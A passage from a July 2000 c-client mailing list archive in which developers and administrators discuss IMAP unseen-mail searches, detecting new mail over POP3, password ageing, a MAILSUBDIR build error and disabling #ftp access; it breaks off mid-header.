23:29:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA03113 for ; Mon, 24 Jul 2000 23:29:48 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA19121; Mon, 24 Jul 2000 23:29:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA24747; Mon, 24 Jul 2000 23:28:01 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA59110 for ; Mon, 24 Jul 2000 23:26:25 -0700 Received: from com.amulet.co.jp (com.amulet.co.jp [202.245.28.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA09530 for ; Mon, 24 Jul 2000 23:26:22 -0700 Received: from amulet.co.jp ([202.245.28.103]) by com.amulet.co.jp (8.9.3/3.7Wpl2) with ESMTP id PAA03496 for ; Tue, 25 Jul 2000 15:26:20 +0900 Message-Id: <397D3436.156D9014@amulet.co.jp> Date: Tue, 25 Jul 2000 15:31:18 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis Blanchard To: c-client@u.washington.edu Subject: Cyrus IMAP & c-client-2000 problem? MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Sender: hollis@com.amulet.co.jp X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Attempting to test my POP3 problem, I tried searching for unseen mail on my Cyrus imap account. (I've tried to disable rsh with mail_parameters(mbox, SET_RSHTIMEOUT, 0). It's hard to tell if that's working or not.) Here's a log (the --, ==, and ** are from my mm_log function). Towards the bottom you can see where my mail_search_full(mbox, "US-ASCII", &search, NIL) happened. "search" is a zeroed SEARCHPGM, with only "unseen" set to 1. Also, while I do have 73 messages in my INBOX, only 1 of them (not 70) is marked new. But I'm not trained in interpreting IMAP server responses. :) Thoughts? -Hollis == rsh to IMAP server timed out -- Trying IP address [128.2.10.131] * OK mail1.andrew.cmu.edu Cyrus IMAP4 v1.6.23-037 server ready -- mail1.andrew.cmu.edu Cyrus IMAP4 v1.6.23-037 server ready 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS X-NON-HIERARCHICAL-RENAME NO_ATOMIC_RENAME AUTH=ANONYMOUS AUTH=GSSAPI AUTH=KERBEROS_V4 UNSELECT 00000000 OK Completed Password: 00000001 LOGIN hollis XXXXX 00000001 OK User logged in 00000002 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS X-NON-HIERARCHICAL-RENAME NO_ATOMIC_RENAME AUTH=ANONYMOUS AUTH=GSSAPI AUTH=KERBEROS_V4 UNSELECT 00000002 OK Completed 00000003 SELECT INBOX * FLAGS (\Answered \Flagged \Draft \Deleted \Seen) * OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen \*)] * 73 EXISTS * 0 RECENT * OK [UNSEEN 70] -- [UNSEEN 70] * OK [UIDVALIDITY 872461177] * OK [UIDNEXT 56388] 00000003 OK [READ-WRITE] Completed 00000004 SEARCH CHARSET US-ASCII ALL UNSEEN * SEARCH 70 ** Lock when already locked Aborted -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 25 01:20:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Jul 2000 01:20:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA20900 for ; Tue, 25 Jul 2000 01:20:25 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA21051; Tue, 25 Jul 2000 01:20:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA26236; Tue, 25 Jul 2000 01:19:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA58886 for ; Tue, 25 Jul 2000 01:19:13 -0700 Received: from com.amulet.co.jp (com.amulet.co.jp [202.245.28.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18262 for ; Tue, 25 Jul 2000 01:19:11 -0700 Received: from amulet.co.jp ([202.245.28.103]) by com.amulet.co.jp (8.9.3/3.7Wpl2) with ESMTP id RAA04682 for ; Tue, 25 Jul 2000 17:19:10 +0900 Message-Id: <397D4EA8.B2B2537F@amulet.co.jp> Date: Tue, 25 Jul 2000 17:24:08 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis Blanchard To: c-client@u.washington.edu Subject: POP3 & The Search For New Mail MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Sender: hollis@com.amulet.co.jp X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ok, so I've found c-client/pop3.c, which says (among other things) that there is no searching for POP3 at all. So it seems my only option is to download all messages and examine their elt->unseen flag one by one. I think I can live with that, but I just have one question: is this method how "real" email clients download new mail? When I start up Netscape Mail (which sadly is the best mail client I've found for my needs), does it download all 400 messages from the server and just ignore the ones it has already downloaded? A quick yes or no... Thanks, Hollis -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 25 09:00:53 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Jul 2000 09:00:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA12892 for ; Tue, 25 Jul 2000 09:00:50 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA30740; Tue, 25 Jul 2000 09:00:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA13674; Tue, 25 Jul 2000 09:00:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA80386 for ; Tue, 25 Jul 2000 08:59:00 -0700 Received: from grace.brass.com (grace.brass.com [199.98.69.10]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24450 for ; Tue, 25 Jul 2000 08:58:59 -0700 Received: from weedev1.brass.com by grace.brass.com (8.8.8+Sun/SMI-SVR4) id LAA11371; Tue, 25 Jul 2000 11:58:58 -0400 (EDT) Received: from localhost (axie@localhost) by weedev1.brass.com (8.9.3+Sun/8.9.1) with ESMTP id LAA10630 for ; Tue, 25 Jul 2000 11:58:54 -0400 (EDT) Message-Id: Date: Tue, 25 Jul 2000 11:58:54 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Annie Xie To: c-client@u.washington.edu Subject: passwd ageing (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ---------- Forwarded message ---------- Date: Mon, 24 Jul 2000 13:30:06 -0400 (EDT) From: Annie Xie To: Pine Discussion Forum Cc: Annie Xie Subject: passwd ageing This problem is probablly not related to pine. Any idea will be appreciative. We are trying to eable our mail server password ageing. But, for those users using POP3/IMAP in their mail interfaces (MSoutlook, netscape) to down load their mail from mailbox on the server, the passwd ageing is not working (it is not giving any warning messages when it should be). Do I need to do any special configuration on the server or to these user mail interfaces? Thanks! Annie -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Tue Jul 25 09:26:20 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Jul 2000 09:26:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA03799 for ; Tue, 25 Jul 2000 09:26:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA09107; Tue, 25 Jul 2000 09:26:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA05663; Tue, 25 Jul 2000 09:25:38 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA80626 for ; Tue, 25 Jul 2000 09:25:01 -0700 Received: from raq2.bynari.net ([216.234.235.143]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA29412 for ; Tue, 25 Jul 2000 09:25:00 -0700 Received: from bynari.net (gw1.bynari.net [216.234.228.98]) by raq2.bynari.net (8.9.3/8.9.3) with ESMTP id KAA02320; Tue, 25 Jul 2000 10:21:12 -0500 Message-Id: <397F0F5A.74A7A129@bynari.net> Date: Wed, 26 Jul 2000 11:18:34 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Greg Copeland To: Hollis Blanchard Cc: c-client@u.washington.edu Subject: Re: POP3 & The Search For New Mail References: <397D4EA8.B2B2537F@amulet.co.jp> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: greg@raq2.bynari.net X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hollis, This logic seems to work pretty well for me. If you find a better way, please let me know. So, here goes. If you keep a count of the number of messages on the account (last) for comparision, you can use it to determine if there is new mail. So, if the last count is less than the new count, then you know you have (new - last) new messages. If, on the other hand, new is less than last, you know that something is odd with the account. This may be an indication that all messages need to be fetched or that messages have been previously fetched and deleted. Obviously, if last = new then you know there are not any new messages to worry about. If you wanted to be feel better about the state of the mailbox, you can always fetch the last message that you know you SHOULD have and compare it's message id. If it is not the same message id, then it probably means you need to fetch all of the messages as it is probably a new batch of emails even if the new count is greater than last. Hope this helps, Greg Hollis Blanchard wrote: > Ok, so I've found c-client/pop3.c, which says (among other things) that > there is no searching for POP3 at all. So it seems my only option is to > download all messages and examine their elt->unseen flag one by one. > > I think I can live with that, but I just have one question: is this > method how "real" email clients download new mail? When I start up > Netscape Mail (which sadly is the best mail client I've found for my > needs), does it download all 400 messages from the server and just > ignore the ones it has already downloaded? A quick yes or no... > > Thanks, > Hollis > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 25 10:25:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Jul 2000 10:25:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA30509 for ; Tue, 25 Jul 2000 10:25:09 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA11336; Tue, 25 Jul 2000 10:25:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA18232; Tue, 25 Jul 2000 10:24:31 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA43488 for ; Tue, 25 Jul 2000 10:23:48 -0700 Received: from com.amulet.co.jp (com.amulet.co.jp [202.245.28.2]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03585 for ; Tue, 25 Jul 2000 10:23:45 -0700 Received: from amulet.co.jp ([202.245.28.103]) by com.amulet.co.jp (8.9.3/3.7Wpl2) with ESMTP id CAA10297; Wed, 26 Jul 2000 02:23:30 +0900 Message-Id: <397DCE3D.D330C1@amulet.co.jp> Date: Wed, 26 Jul 2000 02:28:29 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis Blanchard To: Greg Copeland Cc: c-client@u.washington.edu Subject: Re: POP3 & The Search For New Mail References: <397D4EA8.B2B2537F@amulet.co.jp> <397F0F5A.74A7A129@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Sender: hollis@com.amulet.co.jp X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greg Copeland wrote: > > This logic seems to work pretty well for me. [snip good-sounding plan for a connected POP3 client to keep itself current] Actually I had to amend my plan even further (much to my dismay). I could have sworn I was getting valid elt flags off of POP3 mails... but I must have been mistaken. elt->seen for my POP3 mail is *always* 0, regardless of the actual status (which a local mutt knows about, but apparently it doesn't translate via POP3 well). The app I'm hacking on syncs mail to a Palm OS pda, so luckily for me I can get away with a one-time load of the entire mailbox (and compare each message with every mail already on the handheld.. how many N's is that? ;). But I'm sure I would be sad if I actually wanted to make a real email client w/ POP3 support. -Hollis From pinedev@shivax2.cac.washington.edu Wed Jul 26 02:47:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Jul 2000 02:47:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA31437 for ; Wed, 26 Jul 2000 02:47:03 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA02989; Wed, 26 Jul 2000 02:46:54 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA20205; Wed, 26 Jul 2000 02:46:12 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA19166 for ; Wed, 26 Jul 2000 02:42:58 -0700 Received: from relay4.mail.uk.psi.net (relay4.mail.uk.psi.net [154.32.111.6]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA26998 for ; Wed, 26 Jul 2000 02:40:55 -0700 Received: from voc_fs1.vocalis.com ([195.152.18.3] helo=groupwise.vocalis.com) by relay4.mail.uk.psi.net with smtp (Exim 2.12 #2) id 13HNgB-0007gc-00 for c-client@u.washington.edu; Wed, 26 Jul 2000 10:40:43 +0100 Received: from Vocalis-Message_Server by groupwise.vocalis.com with Novell_GroupWise; Wed, 26 Jul 2000 10:38:59 +0100 Message-Id: Date: Wed, 26 Jul 2000 10:38:27 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Edmund GRIMLEY-EVANS" To: , Cc: Subject: Re: POP3 & The Search For New Mail Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN C-client isn't much good for POP3. If you want to know what sort of things you can do with POP3, read the RFCs or look at fetchmail. In my experience, nearly all POP3 servers have UIDL, and I haven't yet found one that doesn't have TOP. Most POP3 servers preserve the order of messages. So there are three methods you can use for detecting new messages without downloading everything ... but none of them is guaranteed to work with every server that obeys the RFC. There's still a hole in the market for a really good fetchmail replacement.= Fetchmail is very unreliable with UIDs (it messes up if there are network or file system problems during download) and I think it would be good for the same program to recognise duplicates using MD5 sums because servers can change all the UIDs sometimes. Edmund From pinedev@shivax2.cac.washington.edu Wed Jul 26 11:16:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Jul 2000 11:16:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA02442 for ; Wed, 26 Jul 2000 11:16:04 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA05782; Wed, 26 Jul 2000 11:16:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA28530; Wed, 26 Jul 2000 11:15:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA56248 for ; Wed, 26 Jul 2000 11:10:33 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA27928 for ; Wed, 26 Jul 2000 11:08:30 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA05546 for ; Wed, 26 Jul 2000 11:08:29 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id OAA16128 for ; Wed, 26 Jul 2000 14:08:27 -0400 (EDT) Message-Id: <397F291E.34AE2348@rider.edu> Date: Wed, 26 Jul 2000 14:08:30 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@CAC.Washington.EDU Subject: UW Imap 2K and MAILSUBDIR MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------2CD968AF75BE55680C776792" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------2CD968AF75BE55680C776792 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I know we are not supposed to do it, but, if it's there... Is there a bug ? I set in the top level Makefile: EXTRACFLAGS=-DMAILSUBDIR="imapmail" 'make gso' failes to compile... (If EXTRACFLAGS is left blank, it compiles just fine). Should we go back and continue to edit env_unix.c as before ? gcc -g -O2 -DMAILSUBDIR=imapmail `cat OSCFLAGS` -c osdep.c env_unix.c: In function `mymailboxdir': In file included from osdep.c:66: env_unix.c:736: `imapmail' undeclared (first use in this function) env_unix.c:736: (Each undeclared identifier is reported only once env_unix.c:736: for each function it appears in.) env_unix.c: In function `mailboxfile': env_unix.c:857: `imapmail' undeclared (first use in this function) make[3]: *** [osdep.o] Error 1 make[3]: Leaving directory `/usr/local/src/mail_tools/imap-2000.RELEASE-CANDIDATE.3/c-client' make[2]: *** [gso] Error 2 make[2]: Leaving directory `/usr/local/src/mail_tools/imap-2000.RELEASE-CANDIDATE.3/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/usr/local/src/mail_tools/imap-2000.RELEASE-CANDIDATE.3' make: *** [gso] Error 2 -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------2CD968AF75BE55680C776792 Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------2CD968AF75BE55680C776792-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 27 07:48:23 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 07:48:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA31744 for ; Thu, 27 Jul 2000 07:48:21 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA11393; Thu, 27 Jul 2000 07:48:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA25283; Thu, 27 Jul 2000 07:47:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA67698 for ; Thu, 27 Jul 2000 07:45:45 -0700 Received: from morgan.inet.lt (morgan.inet.lt [193.220.64.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA13474 for ; Thu, 27 Jul 2000 07:45:42 -0700 Received: from ray (ray.inet.lt [193.220.64.9]) by morgan.inet.lt (8.10.2/8.10.2) with SMTP id e6REglL30120 for ; Thu, 27 Jul 2000 16:42:47 +0200 Message-Id: <004501bff7d9$97ce3220$0940dcc1@inet.lt> Date: Thu, 27 Jul 2000 16:47:31 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Martynas" To: Subject: how to disable #ftp access through imap? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-4" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to disable to access #ftp files for my imap users. How to do that? I tried to set in /etc/c-client.cf line like: set ftp-export-directory "/dev/null" but it doesn't work. How to disable?? Thank You Martynas Bieliauskas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 27 10:18:48 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 10:18:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15239 for ; Thu, 27 Jul 2000 10:18:45 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA06281; Thu, 27 Jul 2000 10:18:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA01008; Thu, 27 Jul 2000 10:17:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA17204 for ; Thu, 27 Jul 2000 10:16:57 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07178 for ; Thu, 27 Jul 2000 10:16:55 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id NAA09487; Thu, 27 Jul 2000 13:14:17 -0400 (EDT) Message-Id: <39806DEB.58D38806@rider.edu> Date: Thu, 27 Jul 2000 13:14:19 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: Martynas Cc: c-client@u.washington.edu Subject: Re: how to disable #ftp access through imap? References: <004501bff7d9$97ce3220$0940dcc1@inet.lt> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------CE9BA3E77D4F0E46BFC15E89" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------CE9BA3E77D4F0E46BFC15E89 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Your best bet is to disable the driver... You can do it by hacking the Makefile in ./src/osdep/unix and removing the driver... Look for 'DEFAULTDRIVERS=...' and remove the ones you would not use (ie ftp, nntp) But try at your own risk, since it's not supported ! Martynas wrote: > > I would like to disable to access #ftp files for my imap users. How to do > that? I tried to set in /etc/c-client.cf line like: > set ftp-export-directory "/dev/null" > but it doesn't work. > > How to disable?? > Thank You > > Martynas Bieliauskas > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------CE9BA3E77D4F0E46BFC15E89 Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------CE9BA3E77D4F0E46BFC15E89-- From pinedev@shivax2.cac.washington.edu Thu Jul 27 16:18:01 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 16:18:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA05912 for ; Thu, 27 Jul 2000 16:18:00 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA18811; Thu, 27 Jul 2000 16:17:57 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA17416; Thu, 27 Jul 2000 16:16:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA59580 for ; Thu, 27 Jul 2000 16:09:27 -0700 Received: from sniper.igw.kolumbus.fi (sniper.igw.kolumbus.fi [193.229.31.50]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA22115 for ; Thu, 27 Jul 2000 16:09:24 -0700 Received: from localhost (jani@localhost) by 